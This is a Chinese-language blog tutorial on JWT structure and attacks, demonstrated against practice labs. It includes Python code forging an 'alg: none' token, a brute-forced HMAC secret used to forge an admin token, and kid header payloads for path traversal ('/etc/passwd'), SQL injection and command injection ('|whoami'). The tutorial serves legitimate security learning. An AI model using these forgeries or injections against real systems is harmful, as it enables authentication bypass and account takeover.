JWT攻击

JWT攻击


JWT简介


JSON Web Token(JWT)是一种用于客户端和服务端通信双方之间传递身份认证信息、URL安全的表述性声明规范,经常用在跨域身份验证,分布式站点的单点登录。

JWT认证流程

如图所示:

1.在客户端提交用户名密码等认证信息到服务端进行验证,服务端验证成功后返回一个具有一定时效性的Token,返回给客户端保存

2.客户端在收到Token后,将其保存在cookie或者LocalStorage中

3.客户端在以后与服务端的通信过程中都会带着这个Token进行请求服务资源,服务端在验证Token后返回对应资源

JWT与其他认证方式区别

1
2
3
4
5
6
7
8
Cookie: 
记录访问控制客户端的相关信息,请求服务端时需要带上Cookie访问。对于一般的cookie,如果我们的加密措施不当,很容易造成信息泄露,甚至信息伪造。

Session:
客户端在服务端登陆成功之后,服务端会生成一个sessionID,返回给客户端,客户端将sessionID保存到cookie中,session保存在服务端,当客户访问量增加时,服务端就需要存储大量的session会话,对服务器有很大的考验

JWT:
服务端不需要存储会话信息,服务器本身只对Token进行加密,有效减少服务器开销。用于防护CSRF攻击,利于分布式站点的应用拓展

JWT构成

JWT构成:

1
2
3
4
5
第一部分;头部(header)

第二部分: 荷载 (payload)

第三部分: 签证 (signature)

这三个部分使用Base64进行加密处理,中间以”.”符号进行连接

头部(header)

JWT头部承载两部分信息:

1
2
3
4
1. 类型(type).如JWT
2. 加密算法(alg).通常使用HMAC SHA256 HS256
HMAC(HS256):是一种对称加密算法,使用秘密密钥对每条消息进行签名和验证
RSA(RS256):是一种非对称加密算法,使用私钥加密明文,公钥解密密文

格式如下:

1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

荷载(payload)

荷载就是存放有效信息的地方。

有效信息包括三个部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
标准中注册的声明:
iss(jwt签发者)
sub(jwt面向用户)
aud(接受jwt的一方)
exp(jwt的过期时间,应大于签发时间)
nbf(定义在什么时间之前,该jwt都是不可用)
iat(jwt的签发时间)
jti(jwt的唯一身份标识,用于一次性token,避免重放攻击)

公共的声明:
公共的声明可以添加任何的信息。一般添加用户的相关信息或者其他业务需要的必要信息(不建议添加敏感信息,因为该部分可进行解码)

私有的声明:
私有声明一般由提供者和消费者所共同定义的声明(不建议添加敏感信息,因为该部分可进行解码)

JWT荷载部分如下:

1
2
3
4
5
6
7
8
{
"iss": "yzt"
“aud”:"haoyun"
"sub": "1234567890",
"exp": "xxxx-xx-xx"
"name": "John Doe",
"iat": 1516239022
}

签名(signature)

JWT的第三部分为签名信息。

该部分是将头部和荷载这两部分使用Base64编码后拼接,使用头部中指定的加密算法(alg字段)进行加密等到。

1
alg(BASE64ENCODE(Header)+BASE64ENCODE(PAYLOAD))
1
2
3
4
// javascript
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);

var signature = HMACSHA256(encodedString, 'secret');

JWT攻击


我们从上面JWT的构造来看,针对JWT的攻击还是在Header和Payload这两部分。比如敏感信息泄露,空加密,密钥爆破等

常见JWT漏洞存在位置

(1)Header部分

1
2
3
4
5
6
是否支持修改算法为none/对称加密算法
是否可以删除签名
插入错误信息
kid字段是否有SQL注入/命令注入/目录遍历
jwk元素是否可信
是否强制使用白名单上的加密算法

(2)Payload部分

1
其中是否存在敏感信息检查过期策略,比如 exp, iat

(3)Signature部分

1
2
3
4
5
检查是否强制检查签名
密钥是否可以爆破(如HMAC)
是否可以通过其他方式拿到密钥
采用了自身存在脆弱性的算法(如ECDH-ES)
签名方法之间是否存在冲突

(4)其他

1
2
3
4
5
重放
通过匹配校验的时间做时间攻击
修改算法非对称算法为对称算法(如修改RS256为HS256)
弱密钥破解
不安全的配置所导致的敏感信息泄露(如在报错信息中泄露签名)

这里需要使用的工具如下:

JWT解密地址:JSON Web Tokens - jwt.io

MD5解密工具:md5在线解密破解,md5解密加密 (cmd5.com)

JWT靶场地址:

https://authlab.digi.ninja/

webgoat离线靶场

Base64编码 /解码工具:

在线加密解密 (oschina.net)

信息泄露

当在荷载(payload)中添加了一些敏感信息(如账号密码等),可通过Base64解码得到。

靶场地址: Leaky JWT (digi.ninja)

将图中的JWT进行解密

可以看到在荷载中的用户名(username)和密码(password)等字段。

1
2
3
4
5
{
"level": "admin",
"password": "2ac9cb7dc02b3c0083eb70898e549b63",
"username": "joe"
}

这里的密码字段由MD5加密而成,尝试进行解密

将得到的账户和密码在靶场中登录

1
2
username: joe
passwd:Password1

登录成功

无效签名(CVE-2019-7644)

1.0.4 之前的Auth0 Auth0-WCF-Service-JWT 在无法成功验证 JWT 签名时,会在错误消息中泄漏预期的 JWT 签名。如果向攻击者显示此错误消息,他们可以伪造任意 JWT 令牌,该令牌将被易受攻击的应用程序接受

靶场地址:

Auth1 (digi.ninja)

当对JWT进行改动时,会报错显示签名

签名如下:

1
Hnpn5k6NtrXn8qvOuiSsFjXhAolQGn3TfmGBvA7EGTU

将报错显示的签名信息替换原来的Signature(签名)字段,登录成功

空加密算法

JWT支持使用空加密算法,可以在header中指定alg为None

将secret置空。利用node的jsonwentoken库已知缺陷:当jwt的secret为null或undefined时,jsonwebtoken会采用algorithm为none进行验证

由于alg字段为none,所以只要把signature设置为空提交到服务器,token都可以通过服务器的验证.

靶场地址:

JWT None Algorithm (digi.ninja)

代码如下;

1
2
3
4
5
6
7
8
9
import jwt
token = jwt.encode(
{
"user": "admin",
},
algorithm="none",key=""
).decode(encoding='utf-8')

print(token)

使用Base64编码工具设置JWT的Header部分的alg字段为None

密钥爆破

JWT中最常用的两种算法是HMAC和RSA。这两种算法都是使用私钥对signature字段进行签名,所以只要拥有了加密使用的私钥,才能伪造token.但HMAC这种对称加密算法,只有一个密钥进行加密解密。

JWT 的密钥爆破需要在一定的前提下进行:

  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)

靶场地址;

Cracking JWT Keys (digi.ninja)

爆破工具;

c-jwt-cracker

我们打开靶场地址,如下:

可以看到使用靶场提供的JWT登录为jasper用户

命令;

1
2
3
4
5
//Build a Docker Image
docker build . -t jwtcrack

//Run on Docker
docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2Mzc4OTgwMjgsImxldmVsIjoidXNlciIsInVzZXIiOiJqYXNwZXIifQ.T1J2RL69EufdU4I6g_JnKm3UaITCJsk5DxrR2HgDFhk

使用cracker工具爆破JWT中的密钥,可以看到下方密钥为hello

知道密钥后我们可以自定义设置JWT内容,设置加密密钥为hello,伪造登录用户

下面我们来伪造JWT

得到伪造的JWT:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2Mzc4OTgwMjgsImxldmVsIjoiYWRtaW4iLCJ1c2VyIjoid2hhbGVmYWxsIn0.DpJepuO0BICPKPFevJfTvLTPthbsKS9FvQv_Ws_h1AM

将伪造的JWT放到靶场进行登录,登录成功

修改KID参数

KID(KEY ID)是JWT Header中的一个可选字段,用于指定加密算法的密钥。针对KID参数的攻击存在目录遍历、SQL注入、命令注入等。

目录遍历

1
2
3
4
5
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/etc/passwd"
}

Sql注入

1
2
3
4
5
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "aaaaaaa' UNION SELECT 'key';-- "
}

命令执行

1
2
3
4
5
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/path/to/key_file|whoami"
}

修改JKU/XSU参数

这两个参数也是为Header部分的可选字段,JKU(JWKSet URL)用于指定链接到一组加密token密钥的URL。XSU头部参数允许攻击者用户验证Token的公钥证书或者证书链。

如果没有对JKU字段内容进行严格过滤且舐限定条件,可以随机指定一组自定义密钥文件,并指定Web应用使用设置的密钥来验证token。

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信